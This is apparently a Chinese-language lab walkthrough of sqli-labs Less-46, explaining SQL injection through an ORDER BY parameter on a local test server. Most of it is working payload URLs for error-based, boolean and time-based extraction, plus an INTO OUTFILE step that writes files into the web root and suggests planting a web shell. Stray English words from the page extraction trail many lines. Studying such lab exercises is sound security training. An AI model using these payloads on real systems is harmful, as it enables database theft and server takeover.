從本關開始,咱們開始學習order by 相關注入的知識。html
本關的sql語句爲
mysql
$id=$_GET['sort']; $sql = "SELECT * FROM users ORDER BY $id";
嘗試?sort=1 desc或者asc,顯示結果不一樣,則代表能夠注入。(降序or升序排列)sql
從上述的sql語句中咱們能夠看出,咱們的注入點在order by後面的參數中,而order by不一樣於咱們在where後的注入點,不能使用union等進行注入。如何進行order by的注入,咱們先來了解一下mysql官方select的文檔。函數
咱們可利用order by後的一些參數進行注入。學習
1、首先order by 後的數字能夠做爲一個注入點。spa
也就是構造order by 後的一個語句,讓該語句執行結果爲一個數。咱們嘗試code
http://127.0.0.1/sql/Less-46/?sort=right(version(),1)orm
沒有報錯,可是right換成left都同樣,說明數字沒有起做用,咱們考慮布爾類型。此時咱們能夠用報錯注入和延時注入。xml
此處能夠直接構造 ?sort= 後面的一個參數。此時,咱們能夠有三種形式,htm
①直接添加註入語句,?sort=(select ******)
②利用一些函數。例如rand()函數等。?sort=rand(sql語句)
Ps:此處咱們能夠展現一下rand(ture)和rand(false)的結果是不同的。
③利用and,例如?sort=1 and (加sql語句)。
同時,sql語句能夠利用報錯注入和延時注入的方式,語句咱們能夠很靈活的構造。
報錯注入例子
http://127.0.0.1/sql/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
上述例子,能夠看到root@localhost的用戶名
接下來咱們用rand()進行演示一下,由於上面提到rand(true)和 rand(false)結果是不同的。
http://127.0.0.1/sql/Less-46/?sort=rand(ascii(left(database(),1))=115)
http://127.0.0.1/sql/Less-46/?sort=rand(ascii(left(database(),1))=116)
從上述兩個圖的結果,對比rand(ture)和rand(false)的結果,能夠看出報錯注入是成功的。
延時注入例子
http://127.0.0.1/sql/Less-46/?sort=(select if(substring(current,1,1)=char(115),benchmark(50000000,md5('1')),null) from (select database() as current) as tb1)
http://127.0.0.1/sql/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=116,0,sleep(5))
上述兩個延時注入的例子能夠很明顯的看出時間的不一樣,這裏就不貼圖了,圖片沒法展現延時。。。
同時也能夠用?sort=1 and 後添加註入語句。這裏就不一一演示了。
2、procedure analyse參數注入
利用procedure analyse參數,咱們能夠執行報錯注入。同時,在procedure analyse和order by之間能夠存在limit參數,咱們在實際應用中,每每也可能會存在limit後的注入,能夠利用procedure analyse進行注入。
參考:http://www.javashuo.com/article/p-ueporont-gy.html
如下爲示範例
http://127.0.0.1/sql/Less-46/?sort=1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1)
PS:個人mysql報錯了,不明白爲何?難道是版本的問題?(個人版本是5.6.17)
3、導入導出文件into outfile參數注入
將查詢結果導入到文件當中
http://127.0.0.1/sql/Less-46/?sort=1 into outfile "D:\\software\\wamp\\www\\sql\\test1.txt"
查看這個文件,發現導入成功。
那這個時候咱們能夠考慮上傳網馬,利用lines terminated by。
Into outtfile D:\\software\\wamp\\www\\sql\\test1.txt lines terminated by 0x(網馬進行16進制轉換)